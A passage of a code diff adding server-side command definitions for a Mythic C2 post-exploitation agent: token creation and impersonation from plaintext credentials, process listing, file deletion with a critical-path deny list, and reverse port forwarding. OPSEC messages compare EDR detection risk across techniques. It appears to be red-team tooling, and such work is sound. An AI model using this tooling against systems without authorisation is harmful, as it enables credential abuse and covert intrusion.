"access_time": current_timestamp_ms, # Use current time to help with cache invalidation
|
||||
"modify_time": current_timestamp_ms, # Use current time to help with cache invalidation
|
||||
"size": 0,
|
||||
"update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted
|
||||
"files": unique_files # Use deduplicated files list - complete and fresh
|
||||
}
|
||||
|
||||
logging.info(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)")
|
||||
|
||||
# Add file_browser to response
|
||||
# Merge with existing response (like rm.py does)
|
||||
resp.ProcessResponse = response if isinstance(response, dict) else {}
|
||||
resp.ProcessResponse["file_browser"] = file_browser_data
|
||||
logging.info(f"[FILE_BROWSER] Added {len(files)} files/directories to file_browser response")
|
||||
logging.info(f"[FILE_BROWSER] ProcessResponse keys: {list(resp.ProcessResponse.keys())}")
|
||||
|
||||
except Exception as e:
|
||||
logging.error(f"Error parsing file browser response: {str(e)}")
|
||||
import traceback
|
||||
logging.error(traceback.format_exc())
|
||||
|
||||
return resp
|
||||
@@ -0,0 +1,182 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class MakeTokenArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="domain",
|
||||
type=ParameterType.String,
|
||||
description="Domain of the account credentials (e.g., acme.corp or empty for local)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=1
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="username",
|
||||
type=ParameterType.String,
|
||||
description="Username of the account",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=2
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="password",
|
||||
type=ParameterType.String,
|
||||
description="The plaintext password for the account",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True,
|
||||
ui_position=3
|
||||
)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="logon_type",
|
||||
type=ParameterType.Number,
|
||||
default_value=9,
|
||||
description="Logon type (default: 9 = LOGON32_LOGON_NEW_CREDENTIALS)",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=False,
|
||||
ui_position=4
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
parts = self.command_line.split(" ", 2)
|
||||
if len(parts) < 3:
|
||||
raise ValueError("Must supply domain, username, and password: make_token <domain> <username> <password> [logon_type]")
|
||||
|
||||
self.add_arg("domain", parts[0])
|
||||
self.add_arg("username", parts[1])
|
||||
self.add_arg("password", parts[2])
|
||||
|
||||
if len(parts) > 3:
|
||||
try:
|
||||
self.add_arg("logon_type", int(parts[3]))
|
||||
except ValueError:
|
||||
self.add_arg("logon_type", 9)
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
if not self.get_arg("logon_type"):
|
||||
self.add_arg("logon_type", 9)
|
||||
|
||||
|
||||
class MakeTokenCommand(CommandBase):
|
||||
cmd = "make_token"
|
||||
needs_admin = False
|
||||
help_cmd = "make_token <domain> <username> <password> [logon_type]"
|
||||
description = "Create a new security token using plaintext credentials and impersonate it. Authenticates with the provided domain (or local machine if empty), username, and password using LogonUser API. The logon_type parameter (default: 9 - NewCredentials) determines the authentication type. The impersonation context is automatically tracked and displayed in the Mythic UI. Less detectable than 'steal_token' as it doesn't require accessing LSASS memory, but may still generate authentication logs. Use 'rev2self' to revert to the original token."
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
attackmapping = ["T1134.003"]
|
||||
argument_class = MakeTokenArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about token creation risks.
|
||||
"""
|
||||
domain = taskData.args.get_arg("domain") or ""
|
||||
username = taskData.args.get_arg("username") or ""
|
||||
logon_type = taskData.args.get_arg("logon_type") or 9
|
||||
|
||||
message = "⚠️ OPSEC WARNING - Token Creation Detected\n\n"
|
||||
message += "Token creation operations are monitored by:\n"
|
||||
message += " • EDR/XDR solutions (behavioral detection)\n"
|
||||
message += " • Authentication monitoring tools\n"
|
||||
message += " • Security auditing systems\n"
|
||||
message += " • Windows Event Logging (if enabled)\n\n"
|
||||
|
||||
message += f"Configuration:\n"
|
||||
message += f" • Domain: {domain or '(local)'}\n"
|
||||
message += f" • Username: {username}\n"
|
||||
message += f" • Logon Type: {logon_type}\n\n"
|
||||
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • LogonUser API calls (authentication events)\n"
|
||||
message += " • Token impersonation API calls\n"
|
||||
message += " • Privilege escalation detection\n"
|
||||
message += " • Suspicious authentication patterns\n"
|
||||
message += " • Windows Event Logs (Security events)\n\n"
|
||||
|
||||
message += "💡 COMPARED TO steal_token:\n"
|
||||
message += " • Less detectable than steal_token (no LSASS access)\n"
|
||||
message += " • Requires valid credentials (domain/local)\n"
|
||||
message += " • May generate authentication logs\n"
|
||||
message += " • Network authentication may be logged\n\n"
|
||||
|
||||
message += "⚠️ WARNING: Authentication events may be logged.\n"
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
domain = taskData.args.get_arg("domain") or ""
|
||||
username = taskData.args.get_arg("username") or ""
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - Token Creation Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Authentication Event: LogonUser API call\n"
|
||||
message += " • Token Creation: New token created\n"
|
||||
message += " • Token Impersonation: Token impersonation API calls\n"
|
||||
message += " • Context Tracking: Impersonation context updated in Mythic UI\n\n"
|
||||
|
||||
message += f"Configuration:\n"
|
||||
message += f" • Domain: {domain or '(local)'}\n"
|
||||
message += f" • Username: {username}\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR behavioral detection (moderate confidence)\n"
|
||||
message += " • Windows Event Logging (Security events)\n"
|
||||
message += " • Authentication monitoring tools\n"
|
||||
message += " • Network authentication logs (if domain)\n\n"
|
||||
message += "⚠️ DETECTION PROBABILITY:\n"
|
||||
message += " • Lower than steal_token (no LSASS access)\n"
|
||||
message += " • Authentication events may be logged\n"
|
||||
message += " • Network authentication (domain) is logged\n"
|
||||
message += " • Behavioral patterns may be detected\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
domain = taskData.args.get_arg("domain") or ""
|
||||
username = taskData.args.get_arg("username")
|
||||
logon_type = taskData.args.get_arg("logon_type") or 9
|
||||
response.DisplayParams = f"Creating token for {domain}\\{username} (logon_type: {logon_type})"
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class MkdirArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="Ruta en la que crear el nuevo directorio",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Es necesario agregar una ruta en la que crear el directorio")
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
class MkdirCommand(CommandBase):
|
||||
cmd = "mkdir"
|
||||
needs_admin = False
|
||||
help_cmd = "mkdir <path>"
|
||||
description = "Create a new directory on the target system. Supports both absolute and relative paths (relative paths are resolved using the current working directory). Creates parent directories if they don't exist. Useful for creating staging directories, temporary folders, or organizing files during post-exploitation activities."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = MkdirArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,62 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
import json
|
||||
import logging
|
||||
|
||||
|
||||
class PsArguments(TaskArguments):
|
||||
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise Exception("ps no debe lanzarse con parametros")
|
||||
|
||||
|
||||
class PsCommand(CommandBase):
|
||||
cmd = "ps"
|
||||
needs_admin = False
|
||||
help_cmd = "ps"
|
||||
description = "List all running processes on the target system. Displays detailed process information including PID, process name, parent PID, architecture (x64/x86), username, and session ID. Automatically updates the Mythic Process Browser, allowing interactive process management (kill, steal_token, list_tokens) directly from the UI. The Process Browser cache is automatically cleared to show only currently running processes."
|
||||
version = 1
|
||||
supported_ui_features = ["process_browser:list"]
|
||||
author = "Kaseya OFSTeam"
|
||||
argument_class = PsArguments
|
||||
browser_script = BrowserScript(
|
||||
script_name="ps", author="Kaseya OFSTeam", for_new_ui=True
|
||||
)
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
attackmapping = []
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
"""
|
||||
Process response from agent. The translator automatically converts
|
||||
tab-separated process list to Process Browser JSON format.
|
||||
We also ensure update_deleted=True is set for all processes to clear the cache.
|
||||
"""
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
|
||||
# Merge with existing response if present
|
||||
if response and isinstance(response, dict):
|
||||
resp.ProcessResponse = response
|
||||
|
||||
# Ensure processes have update_deleted=True to clear cache
|
||||
if "processes" in resp.ProcessResponse and isinstance(resp.ProcessResponse["processes"], list):
|
||||
for process in resp.ProcessResponse["processes"]:
|
||||
if isinstance(process, dict):
|
||||
process["update_deleted"] = True
|
||||
logging.info(f"[PROCESS_BROWSER] Set update_deleted=True for {len(resp.ProcessResponse['processes'])} processes in process_response")
|
||||
|
||||
return resp
|
||||
@@ -0,0 +1,43 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class PwdArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) > 0:
|
||||
raise ValueError("Pwd no necesita parametros.")
|
||||
|
||||
|
||||
class PwdCommand(CommandBase):
|
||||
cmd = "pwd"
|
||||
needs_admin = False
|
||||
help_cmd = "pwd"
|
||||
description = "Display the current working directory of the agent. Shows the absolute path that the agent is currently using as its working directory. This directory is automatically tracked and displayed in the Mythic UI context tabs. Useful for verifying the current location before executing file system operations."
|
||||
version = 1
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = PwdArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||
# task.display_params = task.args.get_arg("command")
|
||||
# return task
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
@@ -0,0 +1,104 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
|
||||
|
||||
class Rev2SelfArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = []
|
||||
|
||||
async def parse_arguments(self):
|
||||
pass
|
||||
|
||||
async def parse_dictionary(self, dictionary_arguments):
|
||||
self.load_args_from_dictionary(dictionary_arguments)
|
||||
|
||||
|
||||
class Rev2SelfCommand(CommandBase):
|
||||
cmd = "rev2self"
|
||||
needs_admin = False
|
||||
help_cmd = "rev2self"
|
||||
description = "Revert token impersonation back to the original process token. This command stops impersonating any stolen or created token and returns to the agent's original security context. The impersonation context in the Mythic UI is automatically cleared. Use this command after completing operations that required elevated privileges to return to a less-privileged context and reduce detection risk."
|
||||
version = 1
|
||||
author = "@KaseyaOFSTeam"
|
||||
attackmapping = ["T1134.001"]
|
||||
argument_class = Rev2SelfArguments
|
||||
attributes = CommandAttributes(
|
||||
supported_os=[SupportedOS.Windows]
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about token reversion risks.
|
||||
"""
|
||||
message = "⚠️ OPSEC WARNING - Token Reversion Detected\n\n"
|
||||
message += "Reverting token impersonation is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (behavioral detection)\n"
|
||||
message += " • Security auditing systems\n"
|
||||
message += " • Token manipulation monitoring\n\n"
|
||||
|
||||
message += "🔍 DETECTION MECHANISMS:\n"
|
||||
message += " • Token reversion API calls\n"
|
||||
message += " • Context change detection\n"
|
||||
message += " • Privilege level changes\n"
|
||||
message += " • Security event logging\n\n"
|
||||
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • Reverting from elevated token may reduce privileges\n"
|
||||
message += " • Context tracking will update in Mythic UI\n"
|
||||
message += " • Lower detection risk than token theft/creation\n\n"
|
||||
|
||||
message += "✅ This is a WARNING only - command will proceed.\n"
|
||||
message += "Ensure you understand the privilege implications."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=False,
|
||||
OpsecPreBypassRole="operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
message = "⚠️ OPSEC POST-CHECK - Token Reversion Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • Token Reversion: RevertToSelf API call\n"
|
||||
message += " • Context Change: Privilege level change\n"
|
||||
message += " • Context Tracking: Impersonation context cleared in Mythic UI\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR behavioral detection (low-moderate confidence)\n"
|
||||
message += " • Security event logging (if enabled)\n"
|
||||
message += " • Token manipulation monitoring\n\n"
|
||||
message += "⚠️ DETECTION PROBABILITY:\n"
|
||||
message += " • Lower than token theft/creation operations\n"
|
||||
message += " • Context changes may be logged\n"
|
||||
message += " • Privilege changes may trigger alerts\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
response.DisplayParams = "Reverting to original token..."
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
return resp
|
||||
|
||||
@@ -0,0 +1,237 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import *
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
class RmArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="path",
|
||||
type=ParameterType.String,
|
||||
description="ruta al fichero o directorio",
|
||||
parameter_group_info=[ParameterGroupInfo(
|
||||
required=True
|
||||
)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Debe introducir una ruta a un fichero o directorio")
|
||||
self.add_arg("path", self.command_line)
|
||||
|
||||
async def parse_dictionary(self, dictionary):
|
||||
logging.info(f"[rm] Parse Dictionary - {dictionary}")
|
||||
# Load args first (will set path from dictionary)
|
||||
self.load_args_from_dictionary(dictionary)
|
||||
|
||||
# Then override with processed values if coming from File Browser
|
||||
if "host" in dictionary:
|
||||
# File Browser format
|
||||
logging.info(f"[rm] Command came from File Browser UI - {dictionary}")
|
||||
full_path = dictionary.get('full_path', '')
|
||||
if full_path:
|
||||
self.add_arg("path", full_path)
|
||||
logging.info(f"[rm] Using full_path: {full_path}")
|
||||
else:
|
||||
path = dictionary.get("path", '')
|
||||
file = dictionary.get("file", '')
|
||||
if path and file:
|
||||
# Combine path and file
|
||||
if not path.endswith('\\') and not path.endswith('/'):
|
||||
path = path + "\\"
|
||||
combined_path = path + file
|
||||
self.add_arg("path", combined_path)
|
||||
logging.info(f"[rm] Combined path + file: {combined_path}")
|
||||
elif path:
|
||||
self.add_arg("path", path)
|
||||
logging.info(f"[rm] Using path only: {path}")
|
||||
else:
|
||||
raise ValueError("[rm] File Browser request missing both path and file")
|
||||
self.add_arg("host", dictionary.get("host", ""))
|
||||
else:
|
||||
# Command line usage - already loaded from dictionary, just verify
|
||||
logging.info(f"[rm] Command came from CMDLINE - {dictionary}")
|
||||
arg_path = self.get_arg("path")
|
||||
if not arg_path:
|
||||
arg_path = dictionary.get("path")
|
||||
if arg_path:
|
||||
self.add_arg("path", arg_path)
|
||||
else:
|
||||
raise ValueError("[rm] No path specified")
|
||||
|
||||
class RmCommand(CommandBase):
|
||||
cmd = "rm"
|
||||
needs_admin = False
|
||||
help_cmd = "rm <path>"
|
||||
description = "Delete a file or directory from the target system. Supports both absolute and relative paths (relative paths are resolved using the current working directory). Can delete individual files or entire directories. WARNING: Deletion of critical system files or directories (System32, Windows, Program Files, etc.) will be blocked for safety. Use with caution as deleted files cannot be recovered through this command."
|
||||
version = 1
|
||||
supported_ui_features = ["file_browser:remove"]
|
||||
author = "Kaseya OFSTeam"
|
||||
attackmapping = []
|
||||
argument_class = RmArguments
|
||||
attributes = CommandAttributes(
|
||||
builtin=False,
|
||||
supported_os=[ SupportedOS.Windows ],
|
||||
suggested_command=False
|
||||
)
|
||||
|
||||
async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check before creating the task.
|
||||
Warns about file deletion risks, especially for system files.
|
||||
"""
|
||||
path = taskData.args.get_arg("path") or ""
|
||||
|
||||
# Critical system locations
|
||||
critical_locations = {
|
||||
"system32": "System32 directory - CRITICAL system files",
|
||||
"syswow64": "SysWOW64 directory - CRITICAL system files",
|
||||
"windows": "Windows directory - CRITICAL system files",
|
||||
"program files": "Program Files - Application files",
|
||||
"boot": "Boot directory - System boot files",
|
||||
"winnt": "WinNT directory - System files",
|
||||
}
|
||||
|
||||
# Critical file patterns
|
||||
critical_files = {
|
||||
".dll": "DLL files - System libraries",
|
||||
".sys": "System driver files",
|
||||
".exe": "Executable files - System binaries",
|
||||
}
|
||||
|
||||
blocked = False
|
||||
warnings = []
|
||||
critical_warnings = []
|
||||
path_lower = path.lower()
|
||||
|
||||
for location, reason in critical_locations.items():
|
||||
if location in path_lower:
|
||||
critical_warnings.append(f"🚨 {location}: {reason}")
|
||||
if location in ["system32", "syswow64", "windows", "boot"]:
|
||||
blocked = True
|
||||
|
||||
for file_ext, reason in critical_files.items():
|
||||
if path_lower.endswith(file_ext) and any(loc in path_lower for loc in ["system32", "syswow64", "windows"]):
|
||||
warnings.append(f"🚨 {file_ext}: {reason} - System file deletion")
|
||||
blocked = True
|
||||
|
||||
message = "⚠️ OPSEC RISK - File/Directory Deletion Detected\n\n"
|
||||
message += "File deletion is monitored by:\n"
|
||||
message += " • EDR/XDR solutions (file deletion monitoring)\n"
|
||||
message += " • Anti-malware solutions\n"
|
||||
message += " • File access auditing (if enabled)\n"
|
||||
message += " • System integrity monitoring\n\n"
|
||||
|
||||
if path:
|
||||
message += f"Target Path: {path}\n\n"
|
||||
|
||||
if critical_warnings:
|
||||
message += "🚨 CRITICAL LOCATION DETECTED:\n"
|
||||
for warning in critical_warnings:
|
||||
message += f" {warning}\n"
|
||||
message += "\n"
|
||||
|
||||
if warnings:
|
||||
message += "🚨 CRITICAL FILE DETECTED:\n"
|
||||
for warning in warnings:
|
||||
message += f" {warning}\n"
|
||||
message += "\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • File deletion events (if auditing enabled)\n"
|
||||
message += " • System file deletion alerts\n"
|
||||
message += " • File integrity monitoring\n"
|
||||
message += " • Suspicious deletion patterns\n\n"
|
||||
message += "💡 CONSIDERATIONS:\n"
|
||||
message += " • Deleting system files may cause system instability\n"
|
||||
message += " • System file deletion triggers immediate alerts\n"
|
||||
message += " • File deletion is often logged\n"
|
||||
message += " • Use with extreme caution in system directories\n\n"
|
||||
|
||||
if blocked:
|
||||
message += "⚠️ TO PROCEED: You need approval from another operator.\n"
|
||||
message += "This command is blocked due to targeting critical system files."
|
||||
else:
|
||||
message += "⚠️ WARNING: File deletion may be logged.\n"
|
||||
message += "✅ This is a WARNING only - command will proceed."
|
||||
|
||||
return PTTTaskOPSECPreTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPreBlocked=blocked,
|
||||
OpsecPreBypassRole="other_operator" if blocked else "operator",
|
||||
OpsecPreMessage=message
|
||||
)
|
||||
|
||||
async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
|
||||
"""
|
||||
OPSEC check after creating the task.
|
||||
Warns about artifacts that will be created.
|
||||
"""
|
||||
path = taskData.args.get_arg("path") or ""
|
||||
|
||||
message = "⚠️ OPSEC POST-CHECK - File Deletion Artifacts\n\n"
|
||||
message += "This task will create the following artifacts:\n"
|
||||
message += " • File Deletion: DeleteFile/RemoveDirectory API calls\n"
|
||||
message += " • File Access: File system operations\n"
|
||||
message += " • File Deletion Logs: Event logs (if auditing enabled)\n\n"
|
||||
|
||||
if path:
|
||||
message += f"Target Path: {path}\n\n"
|
||||
|
||||
message += "🔍 DETECTION RISKS:\n"
|
||||
message += " • EDR/XDR file deletion monitoring\n"
|
||||
message += " • File access auditing (if enabled)\n"
|
||||
message += " • System integrity monitoring\n"
|
||||
message += " • File deletion event logging\n\n"
|
||||
message += "⚠️ HIGH DETECTION PROBABILITY IF:\n"
|
||||
message += " • Target is a system file or directory\n"
|
||||
message += " • File deletion auditing is enabled\n"
|
||||
message += " • System integrity monitoring is active\n"
|
||||
message += " • Multiple files are deleted rapidly\n\n"
|
||||
message += "✅ This is a WARNING only - task will proceed.\n"
|
||||
message += "Ensure you understand the detection risks before continuing."
|
||||
|
||||
return PTTTaskOPSECPostTaskMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
OpsecPostBlocked=False,
|
||||
OpsecPostBypassRole="operator",
|
||||
OpsecPostMessage=message
|
||||
)
|
||||
|
||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||
response = PTTaskCreateTaskingMessageResponse(
|
||||
TaskID=taskData.Task.ID,
|
||||
Success=True,
|
||||
)
|
||||
return response
|
||||
|
||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||
|
||||
# Check if removal was successful by checking user_output
|
||||
if response:
|
||||
user_output = response.get("user_output", "")
|
||||
# If output doesn't contain error indicators, assume success
|
||||
if user_output and not any(err in user_output.lower() for err in ["error", "failed", "cannot", "cannot"]):
|
||||
# Get the path that was deleted
|
||||
path = task.args.get_arg("path")
|
||||
if path:
|
||||
# Get hostname
|
||||
host = task.Callback.Host if task.Callback else ""
|
||||
|
||||
# Add removed_files array to response (merge with existing response)
|
||||
resp.ProcessResponse = response if isinstance(response, dict) else {}
|
||||
resp.ProcessResponse["removed_files"] = [
|
||||
{
|
||||
"host": host,
|
||||
"path": path
|
||||
}
|
||||
]
|
||||
|
||||
return resp
|
||||
@@ -0,0 +1,269 @@
|
||||
from mythic_container.MythicCommandBase import *
|
||||
from mythic_container.MythicRPC import (
|
||||
SendMythicRPCProxyStartCommand,
|
||||
MythicRPCProxyStartMessage,
|
||||
SendMythicRPCProxyStopCommand,
|
||||
MythicRPCProxyStopMessage,
|
||||
CALLBACK_PORT_TYPE_RPORTFWD
|
||||
)
|
||||
import json
|
||||
import logging
|
||||
|
||||
logging.basicConfig(level=logging.INFO)
|
||||
|
||||
|
||||
class RpfwdArguments(TaskArguments):
|
||||
def __init__(self, command_line, **kwargs):
|
||||
super().__init__(command_line, **kwargs)
|
||||
self.args = [
|
||||
CommandParameter(
|
||||
name="action",
|
||||
type=ParameterType.ChooseOne,
|
||||
description="Acción a realizar (start/stop)",
|
||||
choices=["start", "stop"],
|
||||
default_value="start",
|
||||
parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="port",
|
||||
type=ParameterType.Number,
|
||||
description="Puerto local del agente donde escuchar (solo para start)",
|
||||
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="remote_host",
|
||||
type=ParameterType.String,
|
||||
description="IP o hostname remoto al que Mythic debe conectar (solo para start)",
|
||||
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=3)]
|
||||
),
|
||||
CommandParameter(
|
||||
name="remote_port",
|
||||
type=ParameterType.Number,
|
||||
description="Puerto remoto al que Mythic debe conectar (solo para start)",
|
||||
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=4)]
|
||||
),
|
||||
]
|
||||
|
||||
async def parse_arguments(self):
|
||||
if len(self.command_line) == 0:
|
||||
raise ValueError("Debe especificar 'start' o 'stop'.")
|
||||
parts = self.command_line.strip().split()
|
||||
action = parts[0].lower()
|
||||
|
||||
if action not in ["start", "stop"]:
|
||||
